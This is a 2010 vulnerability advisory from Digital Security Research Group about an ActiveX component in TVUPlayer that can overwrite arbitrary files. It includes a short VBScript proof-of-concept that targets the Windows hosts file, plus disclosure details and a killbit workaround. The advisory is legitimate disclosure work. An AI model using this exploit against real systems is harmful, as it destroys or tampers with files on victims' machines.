TVUPlayer 2.4.9beta1 Active-X Insecure Method

`[DSECRG-09-065] TuvNetworks TVUPlayer ActiveX component - Insecure method  
  
TVUPlayer contains ActiveX component PlayerOcx which contains insecure method that can overwrite any unhidden file in the system.  
  
Application: TVUPlayer  
Versions Affected: Tested on v2.4.9beta1[build1797]  
Vendor URL: www.tvunetworks.com  
Bugs: insecure method, File owervriting  
Exploits: YES  
Reported: 25.11.2009  
Second report 11.01.2010  
Vendor response: none  
Date of Public Advisory: 03.02.2010  
CVE-number:  
Author: Evdokimov Dmitriy  
Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)  
  
Details  
*******  
  
An attacker can construct html-page which calls the LangFileName vulnerable function from ActiveX component PlayerOcx  
  
  
Example1:  
  
<?XML version='1.0' standalone='yes' ?>  
<package><job id='DoneInVBS' debug='false' error='true'>  
<object classid='clsid:18E6ED0D-08D1-4ED5-8771-E72B4E6EFFD8' id='target' />  
<script language='vbscript'>  
  
'File Generated by COMRaider v0.0.133 - http://labs.idefense.com  
  
'Wscript.echo typename(target)  
  
'for debugging/custom prolog  
targetFile = "C:\Program Files\Online TV Player 4\PlayerOcx.ocx"  
prototype = "Property Let LangFileName As String"  
memberName = "LangFileName"  
progid = "PlayerOcx.FormPlayer"  
argCount = 1  
  
arg1="C:\WINDOWS\system32\drivers\etc\hosts"  
  
target.LangFileName = arg1  
  
</script></job></package>  
  
  
Fix Information  
***************  
  
There is no official fix from the vendor because they did not give any response to our letters sent twice.  
As alternative - a user can set killbit on this component.  
  
References  
**********  
  
http://dsecrg.com/pages/vul/show.php?id=165  
  
About  
*****  
  
Digital Security is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.  
  
  
Contact: research [at] dsecrg [dot] com  
http://www.dsecrg.com   
`